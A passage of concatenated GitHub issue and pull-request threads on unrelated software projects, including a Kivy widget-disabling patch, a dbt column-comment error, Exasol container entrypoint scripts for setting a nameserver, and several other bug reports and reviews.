            default_size_hint: 1, None
            default_size: None, dp(30)
            size_hint_y: None
            height: self.minimum_height
    Button:
        size_hint_y: None
        height: '50dp'
        text: 'Layout is {}disabled'.format('' if layout.disabled else 'NOT ')
        on_release: layout.disabled = not layout.disabled
'''

class DisabledViewApp(App):

    def build(self):
        root = Builder.load_string(kv)
        data = [{} for _ in xrange(30)]
        for index in xrange(0, len(data), 5):
            data[index]['disabled'] = True
        root.ids.rv.data = data
        return root

if __name__ == '__main__':
    DisabledViewApp().run()

If layout gets disabled, then all child widgets should get disabled too. In another case when layout is enabled and previous state of child widget was enabled then that widget should be enabled.
In example above, every fifth widget is disabled using value from data and others are enabled/disabled by toggling layout's disabled property.

Seems that using for:

add_widget method:

for _ in xrange(self._disabled_count):
    widget.inc_disabled()

remove_widget method:

for _ in xrange(self._disabled_count):
    widget.dec_disabled()

solves this case. But, another thing I noticed is that if label is disabled, disabled_color doesn't kick-in. If you add:
    def on_disabled(self, view, disabled):
        print(view, disabled)

to SomeView (and probably any other widget) disabled argument is always None.

Ah, that makes some sense, i guess it would be better to allow an optional count param to inc_disabled and dec_disabled, to void the loop and still dispatch when doing the increase, that would probably avoid the issue there too. (not tested).

Soooo, apparently dispatching an AliasProperty has been broken all along!
https://github.com/kivy/kivy/blob/df7de2042ae4e0f820bbe91ab9f485d746c52fae/kivy/properties.pyx#L562-L579
this is the dispatch from Property, which AliasProperty simply inherits, while it doesn't store anything in ps.value since it's using a getter function, so this simply dispatches None… great catch!
patch is pretty straightforward.
index d27d53e25..234657674 100644
--- a/kivy/properties.pyx
+++ b/kivy/properties.pyx
@@ -1471,6 +1471,11 @@ cdef class AliasProperty(Property):
             ps.value = self.get(obj)
             self.dispatch(obj)

+    cpdef dispatch(self, EventDispatcher obj):
+        cdef PropertyStorage ps = obj.__storage[self._name]
+        ps.observers.dispatch(obj, ps.getter(obj), None, None, 0)
+
+
 cdef class VariableListProperty(Property):
     '''A ListProperty that allows you to work with a variable amount of
     list items and to expand them to the desired list size.
diff --git a/kivy/uix/widget.py b/kivy/uix/widget.py
index 95769b375..5f474d5b0 100644
--- a/kivy/uix/widget.py
+++ b/kivy/uix/widget.py
@@ -531,7 +531,7 @@ class Widget(WidgetBase):
                                   % (widget, parent))
         widget.parent = parent = self
         # Child will be disabled if added to a disabled parent.
-        widget._disabled_count = self._disabled_count
+        widget.inc_disabled(self._disabled_count)

         canvas = self.canvas.before if canvas == 'before' else \
             self.canvas.after if canvas == 'after' else self.canvas
@@ -584,6 +584,7 @@ class Widget(WidgetBase):
         elif widget.canvas in self.canvas.before.children:
             self.canvas.before.remove(widget.canvas)
         widget.parent = None
+        widget.dec_disabled(self._disabled_count)

     def clear_widgets(self, children=None):
         '''
@@ -1319,19 +1320,19 @@ class Widget(WidgetBase):
             else:
                 self.dec_disabled()

-    def inc_disabled(self):
-        self._disabled_count += 1
-        if self._disabled_count == 1:
+    def inc_disabled(self, count=1):
+        self._disabled_count += count
+        if self._disabled_count - count < 1 <= self._disabled_count:
             self.property('disabled').dispatch(self)
         for c in self.children:
-            c.inc_disabled()
+            c.inc_disabled(count)

-    def dec_disabled(self):
-        self._disabled_count -= 1
-        if self._disabled_count == 0:
+    def dec_disabled(self, count=1):
+        self._disabled_count -= count
+        if self._disabled_count <= 0 < self._disabled_count + count:
             self.property('disabled').dispatch(self)
         for c in self.children:
-            c.dec_disabled()
+            c.dec_disabled(count)

     disabled = AliasProperty(get_disabled, set_disabled)
     '''Indicates whether this widget can interact with input or not.

this does seem to fix both examples.

I approve solution for the first problem, but for the second one I don't see how cache is honored if set to True. AliasProperty.set method checks if setter has returned true-like value and then updates ps.value, so if value is cached then setter should return True to set a new value.
Therefore, in disptach method, instead of:
ps.observers.dispatch(obj, ps.getter(obj), None, None, 0)
we should do:
ps.observers.dispatch(obj, self.get(obj), None, None, 0)
and probably update get method to cache the value for case when bind_objects is an empty list.
cpdef get(self, EventDispatcher obj):
    cdef PropertyStorage ps = obj.__storage[self._name]
    if self.use_cache:
        if ps.alias_initial:
            ps.alias_initial = 0
            ps.value = ps.getter(obj)
        return ps.value
    return ps.getter(obj)

And maybe we should use cache=True used more often, as there are properties with "heavy" getters.

That second one probably deserves a separate issue/fix, i'll create a PR with that updated version, thanks for your feedback!

@tshirtman You're welcome!
What do you think about using cache=True for some properties with "heavy" get methods?
For example: almost all AliasProperty in Window and Widget, TextInput's text and minimum_height.

That's interesting, and worth opening a separate issue/PR for :).

Ok, you can merge https://github.com/kivy/kivy/pull/5841, make new pr to update get and dispatch methods of AliasProperty.
After those get merged, I'll track down AliasProperty usage, add cache=True and make pr for that.

@tshirtman, I can make that "get and dispatch methods update" pr if you're short on time. I have "cache=True for AliasProperty" ready but that requires your pr first merged on master so that I can rebase.

Yes, that would be nice. :)

Ok. I'm on it :)


schemas.yml: wildcard in column name (env_*) is incompatible with dbt's persist_docs option

Issue Description
Model fct_dbt__run_results has a wildcard-enhanced description of all dynamically built env_* columns.
However, if the dbt_project.yml is set to
models:
  +persist_docs:
      columns: true

this results in an error in dbt run when dbt tries to attach the description to the target table/view, as the column_name env_* is not a valid column name because of the *. Furthermore, the operation would fail anyway, since the column simply does not exist.
Summary:
15:05:40 | 41 of 62 START incremental model core_dbt_artifacts.fct_dbt__run_results [RUN]
15:05:46 | 41 of 62 ERROR creating incremental model core_dbt_artifacts.fct_dbt__run_results [ERROR in 6.16s]
Database Error in model fct_dbt__run_results (models/incremental/fct_dbt__run_results.sql)
  001003 (42000): SQL compilation error:
  syntax error line 19 at position 12 unexpected '*'.
  compiled SQL at target/run/dbt_artifacts/models/incremental/fct_dbt__run_results.sql

Detailed log:
2021-07-09T15:05:46.042098Z: On model.dbt_artifacts.fct_dbt__run_results: /* run by philipp.***** in dbt */

    alter table eh_account_dev_philipp_leufke.core_dbt_artifacts.fct_dbt__run_results alter

        command_invocation_id COMMENT $$The id of the command which resulted in the source artifact's generation.$$ ,

        artifact_generated_at COMMENT $$Timestamp of when the source artifact was generated.$$ ,

        dbt_version COMMENT $$The version of dbt used to generate the source artifact.$$ ,

        elapsed_time COMMENT $$The total run time of the command.$$ ,

        execution_command COMMENT $$The actual command used.$$ ,

        selected_models COMMENT $$A list of model selectors used in the command.$$ ,

        target COMMENT $$The configured target for the command.$$ ,

        was_full_refresh COMMENT $$Was the run executed with a --full-refresh flag?$$ ,

        env_* COMMENT $$Columns for the environment variables set when the command was executed.$$ ;
2021-07-09T15:05:46.232293Z: Snowflake query id: 019d7929-0200-982d-0000-649500806272
2021-07-09T15:05:46.232396Z: Snowflake error: 001003 (42000): SQL compilation error:
syntax error line 19 at position 12 unexpected '*'.
2021-07-09T15:05:46.232539Z: finished collecting timing info

Discussion
I am unsure if the dbt is the culprit here, as I am not aware of how common it is to document a set of columns using wildcards in the column names.
Deactivating the persist_docs option for columns does fix the issue, but changes the result of the dbt run, of course.
We still would love to persist the descriptions in the column comments on the target DB.

Maybe https://github.com/dbt-labs/dbt/pull/3543 will solve this issue...

Confirming that DBT version 0.20.0 solved this issue :-)


Add app layout externs.

https://github.com/PolymerElements/app-layout needs externs to play nicely with the compiler.

Review in progress internally, closing.


feat(python): New Python runtime that will work with remote

This is a rewrite of the Python runtime to work with gRPC, this allows remote runtimes to work with the same Python runtime.
Putting it here for review, I'll shape up the code later.

you have some references to your local env specific "autokitteh-miki.ngrok.dev"
can you change it to a more generic thing?

Closing this since merged from @efiShtain 's branch.


Configuring a nameserver for the container

In order to access S3 buckets using the UDF jar provided by Exasol (also see: https://github.com/exasol/docker-db/issues/36), we have to set a nameserver in the container. We currently do this by waiting until the container has fully started (~90 sec) and then write a nameserver to the file /etc/resolv.conf. The README file for the container hints that you can set a nameserver in the EXAConf file, but it's not straightforward to do this.
I've tried to map the /exa folder inside the container to a host directory, set the nameserver there (also adjusting the checksum). As I don't want to add the complete /exa folder to version control, my goal would be to only have the EXAConf file in VCS, but it seems there is too much values configured on first startup and I cannot make the container start with this approach.
My question at this point is: what's the best way to set an initial name server for the container?

The best was is to add the nameserver(s) to EXAConf before starting the container, e. g.
NameServers = <IP_ADDRESS>,<IP_ADDRESS>
If you change the value while the container is running, you have to restart it (this may change in the future).

Workaround: custom entrypoint script.

Run entrypoint.sh init-sc &
Wait for initialization do be over.
Make changes to EXAConf.
Run init-sc again.

Dockerfile
FROM exasol/docker-db

COPY my-entrypoint.sh /
ENTRYPOINT /my-entrypoint.sh
CMD []

my-entrypoint.sh
#!/bin/bash

set -e

exa_version=$(exaconf version)
exa_config="/exa/etc/EXAConf"

# Default entrypoint (but detach)
/usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/docker/entrypoint.sh init-sc &

# Wait for initialization to be over:
while [[ $(ps -e | grep -wc exasql) -eq 0 ]]; do
    sleep 1
done

# Set nameserver so S3 can be found.
sed -i \
    -e 's/NameServers =[[:space:]]*$/NameServers = <IP_ADDRESS>/' \
    -e 's/Checksum = .*$/Checksum = COMMIT/' \
    "${exa_config}"

# Load updated config
/usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/docker/entrypoint.sh init-sc

while [[ $(ps -e | grep -wc exasql) -gt 0 ]]; do
    sleep 1
done
echo "Process exasql no longer running; quitting. Check Exasol logs for details."

Not sure how robust this will be; especially using exasql as a light tower feels fragile since I haven't understood the "flow" of the container fully.

I do not fully understand, why do you start it two times?
Important thing is, you should start entrypoint.sh only once with an exec, something like that (I have not tested it):
#!/bin/bash

set -e

exa_version=$(exaconf version)
exa_config="/exa/etc/EXAConf"

( # sub shell to leave PID 1 to the entry point
while true; do
    tail -n1 /exa/logs/cored/exainit.log | grep -q 'All stages finished.' && break
    sleep 1
done

# Set nameserver so S3 can be found.
sed -i \
    -e "s/NameServers =[[:space:]]*$/NameServers = ${NAMESERVER}/" \
    -e 's/Checksum = .*$/Checksum = COMMIT/' \
    "${exa_config}"

/usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/bin/exalocalconf --function=name_resolution
while [[ $(pgrep -c exasql) -gt 0 ]]; do
    sleep 1
done
echo "Process exasql no longer running; quitting. Check Exasol logs for details."
pkill cos_cored
) &

exec /usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/docker/entrypoint.sh init-sc

I do not fully understand, why do you start it two times?

It was the way I managed to create and then update the config. In particular, I tried update-sc but that didn't have the desired effect. I didn't find exalocalconf with this parameterization.
Is there a particular reason you wait for that log line instead of exasql?
It doesn't seem to be necessary to keep that subshell alive, assuming that the regular entrypoint hands off to something that appropriately dies in case of issues. Or am I missing something?
Good call on the subshell! The PID trickeries are a little beyond me, but it's certainly the better approach to set up a "callback", for lack of a better word.
Currently using this:
#!/bin/bash

set -e

exa_version=$(exaconf version)
exa_config="/exa/etc/EXAConf"
exa_localconf="/usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/bin/exalocalconf"
exa_entrypoint="/usr/opt/EXASuite-6/EXAClusterOS-${exa_version}/docker/entrypoint.sh"

( # sub shell to leave PID 1 to the entry point
    # Wait for initialization to be over:
    while [[ $(ps -e | grep -wc exasql) -eq 0 ]]; do
        sleep 1 # TODO: Add timeout? Or how else do we detect failure of init-sc?
    done

    echo "[my-project] Set nameserver to ${NAMESERVER}" # so S3 can be found.
    sed -i \
        -e "s/NameServers =[[:space:]]*$/NameServers = ${NAMESERVER}/" \
        -e 's/Checksum = .*$/Checksum = COMMIT/' \
        "${exa_config}"
    "${exa_localconf}" --function=name_resolution

    echo "[my-project] Initialize database"
    for f in /init-db/*.sql; do
        echo "[my-project] Running ${f}"
        exaplus -c n11:8888 -u sys -P exasol -f "${f}"
    done

    echo "[my-project] Customization finished"
) & # --> let Exasol entrypoint take over

exec "${exa_entrypoint}" init-sc

Thanks for the help!

I think, it could make sense to wait to one of the following things, each has own drawbacks:
Wait for existance of exasql process
#- It has the drawback, that it is not guaranteed, that the initialization process is finished or the database is ready for requests, but usually it is.
Wait for dwad_client print-params DB1 2>/dev/null | grep -q '^Connection state: up'
#- It guarantees, that the database is ready for requests, but not, that the initialization process is finished.
Wait for All stages finished.
#- It guarantees, that the initialization is finished and database is ready to receive requests, it is still possible that some error happens or database crashes shortly after that, but this is other story.
#- It has the drawback, that you waiting on a log file, it is not 100% clear, how robust it is.
So the waiting for the line in the log file seem to cover all the cases, so I think it is may be the better way to go, but also the first case should work fine.

I see, thanks for the explanation.
(FWIW, I kept tinkering and improved the version you reacted to.)
With the exainit.log variant (3), I'm getting
EXAplus 6.1.5 (c) EXASOL AG
Error: [08001] Connection refused (Connection refused)

I figure this means something is not quite up. I never saw this with variant (1) so I'll back to that and see how reliable it is.

Oh, ok. I have checked the code, you are right, the exainit.log variant does not really wait for the database be connectable, but I think it should. I will fix that.

The behavior is fixed, so you will be able to wait for the initialization also on All stages finished, but the more strait forward approach will be to write such things to /exa/etc/rc.local.


source: Added Pandas DataFrame

Aims to resolve #925

Codecov Report

Merging #1062 (d4f4eee) into master (b66b8bd) will increase coverage by 0.01%.
The diff coverage is 90.62%.

@@            Coverage Diff             @@
##           master    #1062      +/-   ##
==========================================
+ Coverage   82.91%   82.92%   +0.01%
==========================================
  Files         150      152       +2
  Lines        9737     9797      +60
  Branches     1644     1651       +7
==========================================
+ Hits         8073     8124      +51
- Misses       1320     1330      +10
+ Partials      344      343       -1

Impacted Files
Coverage Δ

dffml/source/dataframe.py
84.61% <84.61%> (ø)

tests/source/test_dataframe.py
100.00% <100.00%> (ø)

dffml/util/data.py
64.08% <0.00%> (-2.77%)
:arrow_down:

tests/util/test_net.py
98.50% <0.00%> (-1.50%)
:arrow_down:

dffml/base.py
84.38% <0.00%> (-0.34%)
:arrow_down:

dffml/util/testing/consoletest/commands.py
75.16% <0.00%> (-0.06%)
:arrow_down:

dffml/source/df.py
76.54% <0.00%> (ø)

dffml/df/memory.py
79.89% <0.00%> (+0.25%)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b66b8bd...d4f4eee. Read the comment docs.

Codecov Report

Merging #1062 (85a2835) into master (cab8349) will decrease coverage by 0.12%.
The diff coverage is 80.45%.

@@            Coverage Diff             @@
##           master    #1062      +/-   ##
==========================================
- Coverage   86.51%   86.39%   -0.13%
==========================================
  Files         162      164       +2
  Lines       10311    10394      +83
  Branches     1691     1710      +19
==========================================
+ Hits         8921     8980      +59
- Misses       1051     1072      +21
- Partials      339      342       +3

Impacted Files
Coverage Δ

dffml/source/dataframe.py
69.09% <69.09%> (ø)

tests/source/test_dataframe.py
100.00% <100.00%> (ø)

dffml/util/data.py
72.92% <0.00%> (-2.77%)
:arrow_down:

tests/util/test_net.py
98.36% <0.00%> (-1.64%)
:arrow_down:

dffml/noasync.py
78.18% <0.00%> (-1.13%)
:arrow_down:

dffml/base.py
84.33% <0.00%> (-0.34%)
:arrow_down:

dffml/util/testing/consoletest/commands.py
75.56% <0.00%> (-0.06%)
:arrow_down:

dffml/source/df.py
76.54% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cab8349...85a2835. Read the comment docs.

Closed via 1ef5a169327d71baecd5eccae83ad4a9999ccad1


Expose user._count() chaining api

When we introduced count on relations, we make it possible to write a query like so:
const users = await prisma.user.findFirst({
  include: {
    _count: {
      select: { posts: true },
    },
  },
})

What is not possible yet, but we could totally make it happen:
const postCount = await prisma.user.findFirst()._count().posts

Hi there,
As part of our effort to clean up our GitHub repo, we’re closing this issue to help focus on features and improvements that align with our focus areas and those of our community.
This issue was originally created for internal tracking purposes, but if you feel this is important to you, feel free to reopen the issue and get like-minded users to upvote as we will prioritize fixing issues based on community interest.
For more insight into our priorities and how we’re thinking about the future of Prisma, please see our blog post: https://www.prisma.io/blog/prisma-orm-manifesto.
Thank you for your understanding and support!


nw.js vs atom-shell

https://github.com/nwjs/nw.js
https://github.com/atom/atom-shell

Atom shell is now used. Better APIs. Better practice. More active development. And audio API is working.


PEB:ExecuteOptions should have 64bit offset because Windows 2003 have 64bit

PEB:ExecuteOptions do not have 64bit


[Bug] Chart doesnt resize itselft to full container width

Version
5.4.3
Link to Minimal Reproduction
https://ix.siemens.io/docs/controls/charts/
Steps to Reproduce

set width of the container html element to 100% and height to some fixed value.
see chart get width of 100px instead of %100 of the container

Current Behavior
I give a chart contaoner width %100 width but chart getting resized to 100px. if  I give %99 chart resizes to 99px
Expected Behavior
I expect chart to resize itself to full container width
Environment
- OS: windows 11
- Browser: chrome 121.0.6167.185
- Framework: react 18.2.0

Any additional comments?
No response

The referenced official example works fine with width:'100%'.
So it must be something specific to your environment configuration.

I got the same. I think that it is a bug.
But if you use react states you can have the expected behavior.
Set the react width and height to 2 states.
In a window resize event, set these states to the chart container width and height values.
So each time the window will be resizes, the chart is resized to its container.

this happens to me too.  the instance.getWidth() reports the correct number,  the canvas or svg are the size of the container. the graph inside only takes up like 20% of the width though


Handle page overflow in Pagy

Context
We use Pagy for pagination in the UI (Provider,Support,Candidate) now.
We previously used it only on the APIs (Candidate, Application, Register)
By default if a user requested a page number greater than the last pagy throws and exception.
This is caught and handled in the APIs.
This API makes the Pagy overflow handling empty_page by default which applies to the UI and we explicitly set the handling to exception on all API contexts.
https://github.com/ddnexus/pagy/blob/master/docs/extras/overflow.md
Sentry
Sentry Error in Apply
Changes proposed in this pull request

Guidance to review
We have two options

Last Page
Empty Page

I went with Empty page, last page is more unexpected than last page IMO.

Last Page
Empty Page
Exception

Things to check

[ ] If the code removes any existing feature flags, a data migration has also been added to delete the entry from the database
[ ] This code does not rely on migrations in the same Pull Request
[ ] If this code includes a migration adding or changing columns, it also backfills existing records for consistency
[ ] If this code adds a column to the DB, decide whether it needs to be in analytics yml file or analytics blocklist
[ ] API release notes have been updated if necessary
[ ] If it adds a significant user-facing change, is it documented in the CHANGELOG?
[ ] Required environment variables have been updated added to the Azure KeyVault
[ ] Inform data insights team due to database changes
[ ] Make sure all information from the Trello card is in here
[ ] Rebased main
[ ] Cleaned commit history
[ ] Tested by running locally
[ ] Add PR link to Trello card

 Handle Pagy (pagination) page overflow exceptions


SD-JWT: Create complex disclosures

Part 3 of a series of MR to handle complex SD-JWT structures.
This PR implements creating SD-JWT credentials with nested disclosures, although that's not needed by our current credential implementations.

Has been merged


Added sticky ad to amp-ad example

Adding example for https://github.com/ampproject/amphtml/issues/2472.
@juliantoledo @jmadler PTAL

Validator is not supporting amp-sticky-ad, so I created this

@jmadler PTAL

I changed the add that i was using for the sticky one so that is smaller than 100px and fits the container.
@cramforce did you meant you want to wait to publish an example with amp-sticky-ad?

@kul3r4 Yeah, I thought, we might test this out with a few publishers before giving it publicity. On the other hand, we did publish the docs, so we might as well :)
@kashyapnitin What you do you think?

@sebastianbenz @juliantoledo PTAL, we are trying to get this ready today.

amp-sticky-add is its own component. I think this would justify putting it in its own sample file. Thoughts?

I created a separate example, PTAL.

Using a different add.

@kul3r4 There are two optional params that can be passed to the sticky ad declaration for the background of the container and background of the container while load time. @zhouyx  is working on updating the README, but once we have that, would be great to have those params showcased in the example.

@jasti Am I understand the requirement wrong? Now the two background setting params are not passed to sticky ad declaration. I have them set through standard CSS.
https://github.com/ampproject/amphtml/pull/3486

Thanks @zhouyx . I think it's fine to expose these using standard CSS classes.
@kul3r4 Would be great to have an extra example with modified (using CSS) background setting params on the page.

@zhouyx @jasti , I tried to add:
.amp-sticky-ad {       background-color: #fce4ec } .amp-sticky-ad-loaded {       background-color: #f48fb1 }
in the <style amp-custom> section, but when the page is rendered, I don't see those two classes being added to the html, so the background does not get set.
I don't see those classes being added into the code, am I missing something?

@sebastianbenz PTAL

LGTM

@zhouyx any thoughts on @kul3r4 's question on adjusting background colors please?

.amp-sticky-ad { background-color: #fce4ec } .amp-sticky-ad-loaded { background-color: #f48fb1 }
in the

@kul3r4  The code should be in canary today. And those two classes should be available then.


Karabiner Elements with International letters (Hungarian) on a Japanese Mac keyboard

Hello everybody,
I've got a big issue with my Japanese Mac. I would like to use with Hungarian keys, but I can't transform with the Karabiner Elements. In the app, I can't find the Hungarian letters.
In MacOs Sierra I try to use with the Hungarian Qwerty keyboard template, but the is no "0", there is "ö", there is no "í", but there is some unused keys.
I tried many times for transform individual keys to the "right" keys, but I felt again and again.

Controls and symbols:
non_us_backslash: 0
grave_accent_and_tilde: Í
Number keys:
0: Ö

Thank You for your help, but it didn't work. I tried to write each parameters in a rule, but I can't choose "í" and "ö" from the list.
I wrote a rule about the non_us_backslach and 0 change, but there is no change.


Add 2D fallback to use copy kernel

It depends on https://github.com/RadeonOpenCompute/hcc/pull/1061.

Closing this PR. I will submit the changes in a new PR.


FloatParseHandling for Serialising data

When running the following Fiddle https://dotnetfiddle.net/U8DOMu you can see in the output that the Lng value has been changed and an extra decimal place has been added.
Looking at the code it seems the FloatParseHandling changes how values are read but isn't used for writing data
Fiddle code:
using System;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;

public class LatLng
{
	public double Lat { get; set; }

	public double Lng { get; set; }
}

public class Program
{
	public static void Main()
	{
		var item = new LatLng{Lat = 52.585235595703125, Lng = -0.4142917990684509};
		Console.WriteLine(JsonConvert.SerializeObject(item, new JsonSerializerSettings{FloatParseHandling = FloatParseHandling.Decimal, Formatting = Formatting.Indented, Converters = new JsonConverter[]{new StringEnumConverter()}}));
	}
}

No, not a bug in Newtonsoft.Json.
Newtonsoft.Json is not changing the value here, and there are not really "decimal places added". You are just victim of the inherent imprecision of IEEE 754 floating point values. -0.4142917990684509 cannot be precisely stored as a IEEE 754 double (64-bit) floating point value. The nearest possible value that can be represented by a double value is actually -0.41429179906845093.  This behavior is inherent to IEEE 754 floating point values, and you can't avoid this unless you avoid using IEEE 754 floating point types like float/double (and instead use non-IEEE 754 types like decimal, for example).
This being a behavior of the double value type and not being caused by Newtonsoft.Json you can very easily see by executing the following code:
double value = -0.4142917990684509;
Console.WriteLine(value.ToString("G17")); // output with maximum precision

The output of this will be, you guessed it, -0.41429179906845093.
Also, the setting FloatParseHandling.Decimal will have no effect here, because as both the word "Parse" in it indicates as well as its documentation describes:

Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.

You are not reading/parsing json text here, you are writing/generting json text.
(Side note unrelated to this particular precision-related behavior you observed, but related to de/serializing float/double values with Newtonsoft.Json: If you are going to de/serialize double/float values without the FloatParseHandling.Decimal setting, note that Newtonsoft.Json uses the R format specifier for floating point values, which is known to have problems in .NET versions earlier than  .NET Core 3.0. So, if you by chance target any .NET version earlier than .NET Core 3.0, you might want to apply a custom float/double JsonConverter -- as illustrated in https://github.com/JamesNK/Newtonsoft.Json/issues/2889#issuecomment-1695255479 for the double type -- to bypass Newtonsoft.Json's float/double conversion routines that are using the R specifier.)

Thanks for the response, I appreciate the extra info on core 3 and below

@elgonzo perfect answer as always 👍


remove the nested test suite

remove the unnecessary nested test suite. the tests can run now because the --screenshot and --log options are not enabled (I checked the pipeline definition yaml file), otherwise the entire test suite won't run, because the app start logic is in the inner test suite's setup, the beforeEach and afterEach are done in the outer test suite, they don't share the same context, at runtime, you will get an error saying 'cannot read property logger of undefined', because this.app doesn't exist there.
we (Azure Data Studio) team encountered this issue because we have these 2 options enabled when running smoke tests.

Ended up going with https://github.com/microsoft/vscode/commit/3c4fdb58a18d17a04e7e49c017461e0d058ea296, thanks for the PR!


September- December blogpost strategy

@Okpeelizabeth1989 please find topics for our blog from September- December.
@axelledongni will please look into it strategically and advise since the first part contains regular topics, while the last part is donation focused.
After this, you can collaborate with the @clentafrica/wg-education team if there’s anyone there who would love to write blog posts for the team.
Looping in @erioc for overall marketing decisions.
Please let’s remember to use the necessary labels on the right when creating issues.

I will like to write the blog post for the team. Topic please
On Thu, Sep 5, 2024, 11:56 AM Yigakpoa Samuel @.***>
wrote:

@Okpeelizabeth1989 https://github.com/Okpeelizabeth1989 please find
topics for our blog from September- December.
https://github.com/clentafrica/marketing-and-comms/blob/main/ContentCalendar/2024/blogpost-Sept-Dec.md
@AxelleDongni https://github.com/AxelleDongni will please look into it
strategically and advise since the first part contains regular topics,
while the last part is donation focused.
After this, you can collaborate with the @clentafrica/wg-education
https://github.com/orgs/clentafrica/teams/wg-education team if there’s
anyone there who would love to write blog posts for the team.
Looping in @erioc https://github.com/erioc for overall marketing
decisions.
Please let’s remember to use the necessary labels on the right when
creating issues.
—
Reply to this email directly, view it on GitHub
https://github.com/clentafrica/marketing-and-comms/issues/42, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/BJ3CXF5LGF6QAKQQTPLXHDTZVA2FHAVCNFSM6AAAAABNWHBA42VHI2DSMVQWIX3LMV43ASLTON2WKOZSGUYDONBVGMZTMMA
.
You are receiving this because you are on a team that was mentioned.Message
ID: @.***>

Hi @Obutorbeatrice Please pick a topic here: https://github.com/clentafrica/marketing-and-comms/blob/main/ContentCalendar/2024/blogpost-Sept-Dec.md and i will assign it to you

I choose this topic:
The Role of Women and Girls in Sustainable Climate Solutions
On Thu, Sep 5, 2024, 12:59 PM Yigakpoa Samuel @.***>
wrote:

Hi @Obutorbeatrice https://github.com/Obutorbeatrice Please pick a
topic here:
https://github.com/clentafrica/marketing-and-comms/blob/main/ContentCalendar/2024/blogpost-Sept-Dec.md
and i will assign it to you
—
Reply to this email directly, view it on GitHub
https://github.com/clentafrica/marketing-and-comms/issues/42#issuecomment-2331336324,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BJ3CXF2VRTTNJQES6ESSKTLZVBBSRAVCNFSM6AAAAABNWHBA42VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZRGMZTMMZSGQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

I choose this topic:
The Role of Women and Girls in Sustainable Climate Solutions
On Thu, Sep 5, 2024, 12:59 PM Yigakpoa Samuel @.***>
wrote:

Hi @Obutorbeatrice https://github.com/Obutorbeatrice Please pick a
topic here:
https://github.com/clentafrica/marketing-and-comms/blob/main/ContentCalendar/2024/blogpost-Sept-Dec.md
and i will assign it to you
—
Reply to this email directly, view it on GitHub
https://github.com/clentafrica/marketing-and-comms/issues/42#issuecomment-2331336324,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BJ3CXF2VRTTNJQES6ESSKTLZVBBSRAVCNFSM6AAAAABNWHBA42VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMZRGMZTMMZSGQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

Ok@Obutorbeatrice


Fails to update when project updates. Any way to reset?

If I load this, then change and save the project, reloading the parser does not reflect the changes, even if cache is cleared.
Is there a way to reset?

I waited a few hours and it did update after all. I wonder if there is a way to force an update?

Caching exists and I don't want to bypass it.

Understandable. Thanks for responding.


Symlink-friendly path resolution

I was having difficulties using a local copy of react-scripts and npm linking it into a real world project. This change resolves paths relative to the current working directory (that is, most likely the directory of the app) rather than assuming a certain directory structure.
I've tested the "happy path" (that is, the use case I was trying to solve) locally and solved the problem, both by just running npm start and npm run ejecting and then running the app again. I was unable to test the other case of installing from npm - I'm actually not quite sure how to verify that. I imagine that's pretty important though, so I'd be very open to suggestions and guidance! I did run npm test which seems to cover a lot of cases though.

I was having difficulties using a local copy of react-scripts and npm linking it into a real world project.

What was the use case? You can develop create-react-app locally by cloning it and running npm start or npm run build—all existing commands should work right there. You could drop your project’s source into template/src for experimentation.
Symlinks are generally hard to get right, and even if we fix something now, we might break it again in the future.

Thank you for signing our Contributor License Agreement. We can now accept your code for this (and any) Facebook open source project. Thanks!

I've been tasked with creating a React "boilerplate" for my company and this project seemed like a good starting point. But one thing we're going to need is the ability to make changes to the app locally and unblock ourselves if we run into a bug or missing feature, while it gets merged into the main repo.
As a more general use case, it would allow the same workflow for the main Facebook version of this project - if somebody encountered a bug while working on their real-world project, they could npm link react-scripts, submit a PR, and keep working while they wait. This seems to be a fairly standard JS/npm workflow... at least when it works.

I‘m open to merging this if it fixes the problem for you.
Just have one small nit.

Ah yes... naming things 👍

Released in 0.2.1.


Invalid call. Nonexistent function 'get_parent' in base 'String'

Transitions.move_to("res://Source/Room/ConnectingMenu.tscn", "res://Source/Room/Shop_new.tscn", 0.5, Vector2.LEFT )

did I do something wrong?

i fixed it i just replaced it with "self"  but the transition is really weird

How would you define weird?


Upgrade PyYAML version to 3.12

test done with tox.
Successfully run beam_integration_benchmark which run WordCount in GCP Dataflow Service.

Just out of curiosity, why did you submit this PR? DId you have a problem with version 3.11?

I believe the beam python SDK requires PyYAML 3.12.

LGTM

@asaksena is correct. I want to bring Beam Python SDK to Perfkit, but it requires a higher version of PyYAML.
Afaik, there is no breaking changes in 3.12 and it's the latest stable release comparing with 3.11 (which is released over three years ago).

After the rebase the cluster_boot benchmark from the forked branch is running successfully.
LGTM, merging.


Inverted logic for resolving tmpfs mounts?

Hi. This looks wrong:
https://github.com/mgoltzsche/ctnr/blob/d3c30723cbaf48831ef9dcdeb12d63e6a5bb0ad1/model/resolve.go#L44-L45
	if m.Source == "" && m.Type != MOUNT_TYPE_TMPFS {
		src = self.anonymous(m.Target)

I would have expected tmpfs to specifically want anonymous mount sources (== instead of !=).
Currently I have a ctnr  run --mount type=tmpfs,dst=/foo failing with
WARN[0000] exit status 1
ERRO[0000] run process: container_linux.go:348: starting container process caused "process_linux.go:402: container init caused \"rootfs_linux.go:58: mounting \\\"/home/tv\\\" to rootfs \\\"/home/tv/.ctnr/bundles/p2jen2rvarc43inrum66qzktna/rootfs\\\" at \\\"/foo\\\" caused \\\"invalid argument\\\"\""

And it really doesn't seem like a tmpfs should be trying to mount my home dir.
Then again, ctnr run --mount type=tmpfs,src=/tmp,dst=/foo shows my host /tmp inside the container, so it seems that tmpfs mounts don't work at all.

